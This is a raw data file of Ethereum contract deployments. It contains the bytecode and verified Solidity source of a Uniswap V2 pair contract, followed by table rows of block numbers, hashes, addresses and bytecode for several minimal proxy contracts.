e7e586040518163ffffffff1660e01b815260040160206040518083038186803b15801561275757600080fd5b505afa15801561276b573d6000803e3d6000fd5b505050506040513d602081101561278157600080fd5b5051600b5473ffffffffffffffffffffffffffffffffffffffff821615801594509192509061286457801561285f5760006127d86112576dffffffffffffffffffffffffffff88811690881663ffffffff6121e816565b905060006127e583612878565b90508082111561285c576000612813612804848463ffffffff61226e16565b6000549063ffffffff6121e816565b905060006128388361282c86600563ffffffff6121e816565b9063ffffffff612abc16565b9050600081838161284557fe5b04905080156128585761285887826128ca565b5050505b50505b612870565b8015612870576000600b555b505092915050565b600060038211156128bb575080600160028204015b818110156128b5578091506002818285816128a457fe5b0401816128ad57fe5b04905061288d565b506128c5565b81156128c5575060015b919050565b6000546128dd908263ffffffff612abc16565b600090815573ffffffffffffffffffffffffffffffffffffffff8316815260016020526040902054612915908263ffffffff612abc16565b73ffffffffffffffffffffffffffffffffffffffff831660008181526001602090815260408083209490945583518581529351929391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a35050565b6000818310612989578161298b565b825b9392505050565b73ffffffffffffffffffffffffffffffffffffffff82166000908152600160205260409020546129c8908263ffffffff61226e16565b73ffffffffffffffffffffffffffffffffffffffff831660009081526001602052604081209190915554612a02908263ffffffff61226e16565b600090815560408051838152905173ffffffffffffffffffffffffffffffffffffffff8516917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef919081900360200190a35050565b6dffffffffffffffffffffffffffff166e0100000000000000000000000000000290565b60006dffffffffffffffffffffffffffff82167bffffffffffffffffffffffffffffffffffffffffffffffffffffffff841681612ab457fe5b049392505050565b80820182811015610df657604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601460248201527f64732d6d6174682d6164642d6f766572666c6f77000000000000000000000000604482015290519081900360640190fdfe556e697377617056323a20494e53554646494349454e545f4f55545055545f414d4f554e54556e697377617056323a20494e53554646494349454e545f494e5055545f414d4f554e54556e697377617056323a20494e53554646494349454e545f4c4951554944495459556e697377617056323a20494e53554646494349454e545f4c49515549444954595f4255524e4544556e697377617056323a20494e53554646494349454e545f4c49515549444954595f4d494e544544a265627a7a723158207dca18479e58487606bf70c79e44d8dee62353c9ee6d01f9a9d70885b8765f2264736f6c63430005100032 | // File: contracts/interfaces/IUniswapV2Pair.sol
pragma solidity >=0.5.0;
interface IUniswapV2Pair {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
event Mint(address indexed sender, uint amount0, uint amount1);
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(
address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint);
function price1CumulativeLast() external view returns (uint);
function kLast() external view returns (uint);
function mint(address to) external returns (uint liquidity);
function burn(address to) external returns (uint amount0, uint amount1);
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
// File: contracts/interfaces/IUniswapV2ERC20.sol
pragma solidity >=0.5.0;
interface IUniswapV2ERC20 {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
}
// File: contracts/libraries/SafeMath.sol
pragma solidity =0.5.16;
// a library for performing overflow-safe math, courtesy of DappHub (https://github.com/dapphub/ds-math)
library SafeMath {
function add(uint x, uint y) internal pure returns (uint z) {
require((z = x + y) >= x, 'ds-math-add-overflow');
}
function sub(uint x, uint y) internal pure returns (uint z) {
require((z = x - y) <= x, 'ds-math-sub-underflow');
}
function mul(uint x, uint y) internal pure returns (uint z) {
require(y == 0 || (z = x * y) / y == x, 'ds-math-mul-overflow');
}
}
// File: contracts/UniswapV2ERC20.sol
pragma solidity =0.5.16;
contract UniswapV2ERC20 is IUniswapV2ERC20 {
using SafeMath for uint;
string public constant name = 'Uniswap V2';
string public constant symbol = 'UNI-V2';
uint8 public constant decimals = 18;
uint public totalSupply;
mapping(address => uint) public balanceOf;
mapping(address => mapping(address => uint)) public allowance;
bytes32 public DOMAIN_SEPARATOR;
// keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)");
bytes32 public constant PERMIT_TYPEHASH = 0x6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c9;
mapping(address => uint) public nonces;
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
constructor() public {
uint chainId;
assembly {
chainId := chainid
}
DOMAIN_SEPARATOR = keccak256(
abi.encode(
keccak256('EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)'),
keccak256(bytes(name)),
keccak256(bytes('1')),
chainId,
address(this)
)
);
}
function _mint(address to, uint value) internal {
totalSupply = totalSupply.add(value);
balanceOf[to] = balanceOf[to].add(value);
emit Transfer(address(0), to, value);
}
function _burn(address from, uint value) internal {
balanceOf[from] = balanceOf[from].sub(value);
totalSupply = totalSupply.sub(value);
emit Transfer(from, address(0), value);
}
function _approve(address owner, address spender, uint value) private {
allowance[owner][spender] = value;
emit Approval(owner, spender, value);
}
function _transfer(address from, address to, uint value) private {
balanceOf[from] = balanceOf[from].sub(value);
balanceOf[to] = balanceOf[to].add(value);
emit Transfer(from, to, value);
}
function approve(address spender, uint value) external returns (bool) {
_approve(msg.sender, spender, value);
return true;
}
function transfer(address to, uint value) external returns (bool) {
_transfer(msg.sender, to, value);
return true;
}
function transferFrom(address from, address to, uint value) external returns (bool) {
if (allowance[from][msg.sender] != uint(-1)) {
allowance[from][msg.sender] = allowance[from][msg.sender].sub(value);
}
_transfer(from, to, value);
return true;
}
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external {
require(deadline >= block.timestamp, 'UniswapV2: EXPIRED');
bytes32 digest = keccak256(
abi.encodePacked(
'\x19\x01',
DOMAIN_SEPARATOR,
keccak256(abi.encode(PERMIT_TYPEHASH, owner, spender, value, nonces[owner]++, deadline))
)
);
address recoveredAddress = ecrecover(digest, v, r, s);
require(recoveredAddress != address(0) && recoveredAddress == owner, 'UniswapV2: INVALID_SIGNATURE');
_approve(owner, spender, value);
}
}
// File: contracts/libraries/Math.sol
pragma solidity =0.5.16;
// a library for performing various math operations
library Math {
function min(uint x, uint y) internal pure returns (uint z) {
z = x < y ? x : y;
}
// babylonian method (https://en.wikipedia.org/wiki/Methods_of_computing_square_roots#Babylonian_method)
function sqrt(uint y) internal pure returns (uint z) {
if (y > 3) {
z = y;
uint x = y / 2 + 1;
while (x < z) {
z = x;
x = (y / x + x) / 2;
}
} else if (y != 0) {
z = 1;
}
}
}
// File: contracts/libraries/UQ112x112.sol
pragma solidity =0.5.16;
// a library for handling binary fixed point numbers (https://en.wikipedia.org/wiki/Q_(number_format))
// range: [0, 2**112 - 1]
// resolution: 1 / 2**112
library UQ112x112 {
uint224 constant Q112 = 2**112;
// encode a uint112 as a UQ112x112
function encode(uint112 y) internal pure returns (uint224 z) {
z = uint224(y) * Q112; // never overflows
}
// divide a UQ112x112 by a uint112, returning a UQ112x112
function uqdiv(uint224 x, uint112 y) internal pure returns (uint224 z) {
z = x / uint224(y);
}
}
// File: contracts/interfaces/IERC20.sol
pragma solidity >=0.5.0;
interface IERC20 {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
}
// File: contracts/interfaces/IUniswapV2Factory.sol
pragma solidity >=0.5.0;
interface IUniswapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);
function createPair(address tokenA, address tokenB) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
// File: contracts/interfaces/IUniswapV2Callee.sol
pragma solidity >=0.5.0;
interface IUniswapV2Callee {
function uniswapV2Call(address sender, uint amount0, uint amount1, bytes calldata data) external;
}
// File: contracts/UniswapV2Pair.sol
pragma solidity =0.5.16;
contract UniswapV2Pair is IUniswapV2Pair, UniswapV2ERC20 {
using SafeMath for uint;
using UQ112x112 for uint224;
uint public constant MINIMUM_LIQUIDITY = 10**3;
bytes4 private constant SELECTOR = bytes4(keccak256(bytes('transfer(address,uint256)')));
address public factory;
address public token0;
address public token1;
uint112 private reserve0; // uses single storage slot, accessible via getReserves
uint112 private reserve1; // uses single storage slot, accessible via getReserves
uint32 private blockTimestampLast; // uses single storage slot, accessible via getReserves
uint public price0CumulativeLast;
uint public price1CumulativeLast;
uint public kLast; // reserve0 * reserve1, as of immediately after the most recent liquidity event
uint private unlocked = 1;
modifier lock() {
require(unlocked == 1, 'UniswapV2: LOCKED');
unlocked = 0;
_;
unlocked = 1;
}
function getReserves() public view returns (uint112 _reserve0, uint112 _reserve1, uint32 _blockTimestampLast) {
_reserve0 = reserve0;
_reserve1 = reserve1;
_blockTimestampLast = blockTimestampLast;
}
function _safeTransfer(address token, address to, uint value) private {
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(SELECTOR, to, value));
require(success && (data.length == 0 || abi.decode(data, (bool))), 'UniswapV2: TRANSFER_FAILED');
}
event Mint(address indexed sender, uint amount0, uint amount1);
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(
address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
constructor() public {
factory = msg.sender;
}
// called once by the factory at time of deployment
function initialize(address _token0, address _token1) external {
require(msg.sender == factory, 'UniswapV2: FORBIDDEN'); // sufficient check
token0 = _token0;
token1 = _token1;
}
// update reserves and, on the first call per block, price accumulators
function _update(uint balance0, uint balance1, uint112 _reserve0, uint112 _reserve1) private {
require(balance0 <= uint112(-1) && balance1 <= uint112(-1), 'UniswapV2: OVERFLOW');
uint32 blockTimestamp = uint32(block.timestamp % 2**32);
uint32 timeElapsed = blockTimestamp - blockTimestampLast; // overflow is desired
if (timeElapsed > 0 && _reserve0 != 0 && _reserve1 != 0) {
// * never overflows, and + overflow is desired
price0CumulativeLast += uint(UQ112x112.encode(_reserve1).uqdiv(_reserve0)) * timeElapsed;
price1CumulativeLast += uint(UQ112x112.encode(_reserve0).uqdiv(_reserve1)) * timeElapsed;
}
reserve0 = uint112(balance0);
reserve1 = uint112(balance1);
blockTimestampLast = blockTimestamp;
emit Sync(reserve0, reserve1);
}
// if fee is on, mint liquidity equivalent to 1/6th of the growth in sqrt(k)
function _mintFee(uint112 _reserve0, uint112 _reserve1) private returns (bool feeOn) {
address feeTo = IUniswapV2Factory(factory).feeTo();
feeOn = feeTo != address(0);
uint _kLast = kLast; // gas savings
if (feeOn) {
if (_kLast != 0) {
uint rootK = Math.sqrt(uint(_reserve0).mul(_reserve1));
uint rootKLast = Math.sqrt(_kLast);
if (rootK > rootKLast) {
uint numerator = totalSupply.mul(rootK.sub(rootKLast));
uint denominator = rootK.mul(5).add(rootKLast);
uint liquidity = numerator / denominator;
if (liquidity > 0) _mint(feeTo, liquidity);
}
}
} else if (_kLast != 0) {
kLast = 0;
}
}
// this low-level function should be called from a contract which performs important safety checks
function mint(address to) external lock returns (uint liquidity) {
(uint112 _reserve0, uint112 _reserve1,) = getReserves(); // gas savings
uint balance0 = IERC20(token0).balanceOf(address(this));
uint balance1 = IERC20(token1).balanceOf(address(this));
uint amount0 = balance0.sub(_reserve0);
uint amount1 = balance1.sub(_reserve1);
bool feeOn = _mintFee(_reserve0, _reserve1);
uint _totalSupply = totalSupply; // gas savings, must be defined here since totalSupply can update in _mintFee
if (_totalSupply == 0) {
liquidity = Math.sqrt(amount0.mul(amount1)).sub(MINIMUM_LIQUIDITY);
_mint(address(0), MINIMUM_LIQUIDITY); // permanently lock the first MINIMUM_LIQUIDITY tokens
} else {
liquidity = Math.min(amount0.mul(_totalSupply) / _reserve0, amount1.mul(_totalSupply) / _reserve1);
}
require(liquidity > 0, 'UniswapV2: INSUFFICIENT_LIQUIDITY_MINTED');
_mint(to, liquidity);
_update(balance0, balance1, _reserve0, _reserve1);
if (feeOn) kLast = uint(reserve0).mul(reserve1); // reserve0 and reserve1 are up-to-date
emit Mint(msg.sender, amount0, amount1);
}
// this low-level function should be called from a contract which performs important safety checks
function burn(address to) external lock returns (uint amount0, uint amount1) {
(uint112 _reserve0, uint112 _reserve1,) = getReserves(); // gas savings
address _token0 = token0; // gas savings
address _token1 = token1; // gas savings
uint balance0 = IERC20(_token0).balanceOf(address(this));
uint balance1 = IERC20(_token1).balanceOf(address(this));
uint liquidity = balanceOf[address(this)];
bool feeOn = _mintFee(_reserve0, _reserve1);
uint _totalSupply = totalSupply; // gas savings, must be defined here since totalSupply can update in _mintFee
amount0 = liquidity.mul(balance0) / _totalSupply; // using balances ensures pro-rata distribution
amount1 = liquidity.mul(balance1) / _totalSupply; // using balances ensures pro-rata distribution
require(amount0 > 0 && amount1 > 0, 'UniswapV2: INSUFFICIENT_LIQUIDITY_BURNED');
_burn(address(this), liquidity);
_safeTransfer(_token0, to, amount0);
_safeTransfer(_token1, to, amount1);
balance0 = IERC20(_token0).balanceOf(address(this));
balance1 = IERC20(_token1).balanceOf(address(this));
_update(balance0, balance1, _reserve0, _reserve1);
if (feeOn) kLast = uint(reserve0).mul(reserve1); // reserve0 and reserve1 are up-to-date
emit Burn(msg.sender, amount0, amount1, to);
}
// this low-level function should be called from a contract which performs important safety checks
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external lock {
require(amount0Out > 0 || amount1Out > 0, 'UniswapV2: INSUFFICIENT_OUTPUT_AMOUNT');
(uint112 _reserve0, uint112 _reserve1,) = getReserves(); // gas savings
require(amount0Out < _reserve0 && amount1Out < _reserve1, 'UniswapV2: INSUFFICIENT_LIQUIDITY');
uint balance0;
uint balance1;
{ // scope for _token{0,1}, avoids stack too deep errors
address _token0 = token0;
address _token1 = token1;
require(to != _token0 && to != _token1, 'UniswapV2: INVALID_TO');
if (amount0Out > 0) _safeTransfer(_token0, to, amount0Out); // optimistically transfer tokens
if (amount1Out > 0) _safeTransfer(_token1, to, amount1Out); // optimistically transfer tokens
if (data.length > 0) IUniswapV2Callee(to).uniswapV2Call(msg.sender, amount0Out, amount1Out, data);
balance0 = IERC20(_token0).balanceOf(address(this));
balance1 = IERC20(_token1).balanceOf(address(this));
}
uint amount0In = balance0 > _reserve0 - amount0Out ? balance0 - (_reserve0 - amount0Out) : 0;
uint amount1In = balance1 > _reserve1 - amount1Out ? balance1 - (_reserve1 - amount1Out) : 0;
require(amount0In > 0 || amount1In > 0, 'UniswapV2: INSUFFICIENT_INPUT_AMOUNT');
{ // scope for reserve{0,1}Adjusted, avoids stack too deep errors
uint balance0Adjusted = balance0.mul(1000).sub(amount0In.mul(3));
uint balance1Adjusted = balance1.mul(1000).sub(amount1In.mul(3));
require(balance0Adjusted.mul(balance1Adjusted) >= uint(_reserve0).mul(_reserve1).mul(1000**2), 'UniswapV2: K');
}
_update(balance0, balance1, _reserve0, _reserve1);
emit Swap(msg.sender, amount0In, amount1In, amount0Out, amount1Out, to);
}
// force balances to match reserves
function skim(address to) external lock {
address _token0 = token0; // gas savings
address _token1 = token1; // gas savings
_safeTransfer(_token0, to, IERC20(_token0).balanceOf(address(this)).sub(reserve0));
_safeTransfer(_token1, to, IERC20(_token1).balanceOf(address(this)).sub(reserve1));
}
// force reserves to match balances
function sync() external lock {
_update(IERC20(token0).balanceOf(address(this)), IERC20(token1).balanceOf(address(this)), reserve0, reserve1);
}
} |
1 | 19,494,010 | c1a9af5640b2f7ef25fe810d5b88d2787e9008a4b2fcba1af5946eb20f611bfa | e236f20bd820387c27af9e27ea7d4859f994117650cc71dea7444ed4dea2e71b | 000000d48aefcb5db329346d89039fd2569a0404 | 7eb3a038f25b9f32f8e19a7f0de83d4916030efa | 4810bfd46831b10da7224aacb9d81c77f7b5980c | 608060405234801561001057600080fd5b506040516107513803806107518339818101604052604081101561003357600080fd5b810190808051906020019092919080519060200190929190505050336000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555081600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505050610630806101216000396000f3fe60806040526004361061004e5760003560e01c80633f579f42146100be5780635c60da1b146101e75780637b10399914610228578063d784d42614610269578063f77c4791146102ba57610055565b3661005557005b34801561006157600080fd5b50600080369050146100bc576000600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050368060008037600080826000855af43d806000803e81600081146100b757816000f35b816000fd5b005b3480156100ca57600080fd5b5061016c600480360360608110156100e157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291908035906020019064010000000081111561012857600080fd5b82018360208201111561013a57600080fd5b8035906020019184600183028401116401000000008311171561015c57600080fd5b90919293919293905050506102fb565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101ac578082015181840152602081019050610191565b50505050905090810190601f1680156101d95780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101f357600080fd5b506101fc61049f565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561023457600080fd5b5061023d6104c5565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561027557600080fd5b506102b86004803603602081101561028c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506104eb565b005b3480156102c657600080fd5b506102cf6105d3565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b606060008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146103a1576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602c8152602001806105f8602c913960400191505060405180910390fd5b606060008673ffffffffffffffffffffffffffffffffffffffff1686868660405180838380828437808301925050509250505060006040518083038185875af1925050503d8060008114610411576040519150601f19603f3d011682016040523d82523d6000602084013e610416565b606091505b50809350819250505080610492576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601d8152602001807f4163636f756e743a207472616e73616374696f6e20726576657274656400000081525060200191505060405180910390fd5b8192505050949350505050565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461058f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602c8152602001806105f8602c913960400191505060405180910390fd5b80600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff168156fe436f6e74726f6c6c65643a206d73672e73656e646572206973206e6f742074686520636f6e74726f6c6c6572a164736f6c634300060c000a0000000000000000000000007eb3a038f25b9f32f8e19a7f0de83d4916030efa0000000000000000000000000672af0018fdebaccc93c7d047d62b72cb12883a | 60806040526004361061004e5760003560e01c80633f579f42146100be5780635c60da1b146101e75780637b10399914610228578063d784d42614610269578063f77c4791146102ba57610055565b3661005557005b34801561006157600080fd5b50600080369050146100bc576000600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050368060008037600080826000855af43d806000803e81600081146100b757816000f35b816000fd5b005b3480156100ca57600080fd5b5061016c600480360360608110156100e157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291908035906020019064010000000081111561012857600080fd5b82018360208201111561013a57600080fd5b8035906020019184600183028401116401000000008311171561015c57600080fd5b90919293919293905050506102fb565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101ac578082015181840152602081019050610191565b50505050905090810190601f1680156101d95780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101f357600080fd5b506101fc61049f565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561023457600080fd5b5061023d6104c5565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561027557600080fd5b506102b86004803603602081101561028c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506104eb565b005b3480156102c657600080fd5b506102cf6105d3565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b606060008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146103a1576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602c8152602001806105f8602c913960400191505060405180910390fd5b606060008673ffffffffffffffffffffffffffffffffffffffff1686868660405180838380828437808301925050509250505060006040518083038185875af1925050503d8060008114610411576040519150601f19603f3d011682016040523d82523d6000602084013e610416565b606091505b50809350819250505080610492576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601d8152602001807f4163636f756e743a207472616e73616374696f6e20726576657274656400000081525060200191505060405180910390fd5b8192505050949350505050565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461058f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602c8152602001806105f8602c913960400191505060405180910390fd5b80600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff168156fe436f6e74726f6c6c65643a206d73672e73656e646572206973206e6f742074686520636f6e74726f6c6c6572a164736f6c634300060c000a | |
1 | 19,494,012 | 53d9fbfda2fcf40fd2baf43c7272c9ae0f09c939269f74725d81165a26c94f3f | 526dd6fe18210909dbe6e4efe6b2993038243ff10619af241c4413fce9702b62 | 84ba51a3b082066482385c2e77c15b36b2888888 | fc27cd13b432805f47c90a16646d402566bd3143 | 3148ca2415442e8d304fbc2c41dc41185eb03382 | 60a060405234801561001057600080fd5b506040516101093803806101098339818101604052602081101561003357600080fd5b50516001600160601b031960609190911b16608052600080546001600160a01b0319163317905560805160601c609561007460003980601b525060956000f3fe608060405236600a57005b348015601557600080fd5b506040517f0000000000000000000000000000000000000000000000000000000000000000903680600083376000808284865af43d9150816000843e808015605b578284f35b8284fdfea2646970667358221220c4a46717f67197616503d87ff2612122c70a6a9ed6d1f1999e000b68e428470964736f6c634300060c003300000000000000000000000080d0f44d6c1563de6ba356aa8dfe7abdbe8a174a | 608060405236600a57005b348015601557600080fd5b506040517f00000000000000000000000080d0f44d6c1563de6ba356aa8dfe7abdbe8a174a903680600083376000808284865af43d9150816000843e808015605b578284f35b8284fdfea2646970667358221220c4a46717f67197616503d87ff2612122c70a6a9ed6d1f1999e000b68e428470964736f6c634300060c0033 | |
1 | 19,494,012 | 53d9fbfda2fcf40fd2baf43c7272c9ae0f09c939269f74725d81165a26c94f3f | 526dd6fe18210909dbe6e4efe6b2993038243ff10619af241c4413fce9702b62 | 84ba51a3b082066482385c2e77c15b36b2888888 | fc27cd13b432805f47c90a16646d402566bd3143 | f3f2be6aae0bfbcfb2d8132a1d34dd6640ebd9e8 | 60a060405234801561001057600080fd5b506040516101093803806101098339818101604052602081101561003357600080fd5b50516001600160601b031960609190911b16608052600080546001600160a01b0319163317905560805160601c609561007460003980601b525060956000f3fe608060405236600a57005b348015601557600080fd5b506040517f0000000000000000000000000000000000000000000000000000000000000000903680600083376000808284865af43d9150816000843e808015605b578284f35b8284fdfea2646970667358221220c4a46717f67197616503d87ff2612122c70a6a9ed6d1f1999e000b68e428470964736f6c634300060c003300000000000000000000000080d0f44d6c1563de6ba356aa8dfe7abdbe8a174a | 608060405236600a57005b348015601557600080fd5b506040517f00000000000000000000000080d0f44d6c1563de6ba356aa8dfe7abdbe8a174a903680600083376000808284865af43d9150816000843e808015605b578284f35b8284fdfea2646970667358221220c4a46717f67197616503d87ff2612122c70a6a9ed6d1f1999e000b68e428470964736f6c634300060c0033 | |
1 | 19,494,012 | 53d9fbfda2fcf40fd2baf43c7272c9ae0f09c939269f74725d81165a26c94f3f | 526dd6fe18210909dbe6e4efe6b2993038243ff10619af241c4413fce9702b62 | 84ba51a3b082066482385c2e77c15b36b2888888 | fc27cd13b432805f47c90a16646d402566bd3143 | 5a1684d5994b116edadbd24ec122e836f18a6953 | 60a060405234801561001057600080fd5b506040516101093803806101098339818101604052602081101561003357600080fd5b50516001600160601b031960609190911b16608052600080546001600160a01b0319163317905560805160601c609561007460003980601b525060956000f3fe608060405236600a57005b348015601557600080fd5b506040517f0000000000000000000000000000000000000000000000000000000000000000903680600083376000808284865af43d9150816000843e808015605b578284f35b8284fdfea2646970667358221220c4a46717f67197616503d87ff2612122c70a6a9ed6d1f1999e000b68e428470964736f6c634300060c003300000000000000000000000080d0f44d6c1563de6ba356aa8dfe7abdbe8a174a | 608060405236600a57005b348015601557600080fd5b506040517f00000000000000000000000080d0f44d6c1563de6ba356aa8dfe7abdbe8a174a903680600083376000808284865af43d9150816000843e808015605b578284f35b8284fdfea2646970667358221220c4a46717f67197616503d87ff2612122c70a6a9ed6d1f1999e000b68e428470964736f6c634300060c0033 | |
1 | 19,494,012 | 53d9fbfda2fcf40fd2baf43c7272c9ae0f09c939269f74725d81165a26c94f3f | 526dd6fe18210909dbe6e4efe6b2993038243ff10619af241c4413fce9702b62 | 84ba51a3b082066482385c2e77c15b36b2888888 | fc27cd13b432805f47c90a16646d402566bd3143 | 6e9929f24f94fdc5e459bb709ba8318f49cc0208 | 60a060405234801561001057600080fd5b506040516101093803806101098339818101604052602081101561003357600080fd5b50516001600160601b031960609190911b16608052600080546001600160a01b0319163317905560805160601c609561007460003980601b525060956000f3fe608060405236600a57005b348015601557600080fd5b506040517f0000000000000000000000000000000000000000000000000000000000000000903680600083376000808284865af43d9150816000843e808015605b578284f35b8284fdfea2646970667358221220c4a46717f67197616503d87ff2612122c70a6a9ed6d1f1999e000b68e428470964736f6c634300060c003300000000000000000000000080d0f44d6c1563de6ba356aa8dfe7abdbe8a174a | 608060405236600a57005b348015601557600080fd5b506040517f00000000000000000000000080d0f44d6c1563de6ba356aa8dfe7abdbe8a174a903680600083376000808284865af43d9150816000843e808015605b578284f35b8284fdfea2646970667358221220c4a46717f67197616503d87ff2612122c70a6a9ed6d1f1999e000b68e428470964736f6c634300060c0033 | |
1 | 19,494,012 | 53d9fbfda2fcf40fd2baf43c7272c9ae0f09c939269f74725d81165a26c94f3f | 526dd6fe18210909dbe6e4efe6b2993038243ff10619af241c4413fce9702b62 | 84ba51a3b082066482385c2e77c15b36b2888888 | fc27cd13b432805f47c90a16646d402566bd3143 | 6ff2ab97abd3d5897b53022429e6c6bb25345807 | 60a060405234801561001057600080fd5b506040516101093803806101098339818101604052602081101561003357600080fd5b50516001600160601b031960609190911b16608052600080546001600160a01b0319163317905560805160601c609561007460003980601b525060956000f3fe608060405236600a57005b348015601557600080fd5b506040517f0000000000000000000000000000000000000000000000000000000000000000903680600083376000808284865af43d9150816000843e808015605b578284f35b8284fdfea2646970667358221220c4a46717f67197616503d87ff2612122c70a6a9ed6d1f1999e000b68e428470964736f6c634300060c003300000000000000000000000080d0f44d6c1563de6ba356aa8dfe7abdbe8a174a | 608060405236600a57005b348015601557600080fd5b506040517f00000000000000000000000080d0f44d6c1563de6ba356aa8dfe7abdbe8a174a903680600083376000808284865af43d9150816000843e808015605b578284f35b8284fdfea2646970667358221220c4a46717f67197616503d87ff2612122c70a6a9ed6d1f1999e000b68e428470964736f6c634300060c0033 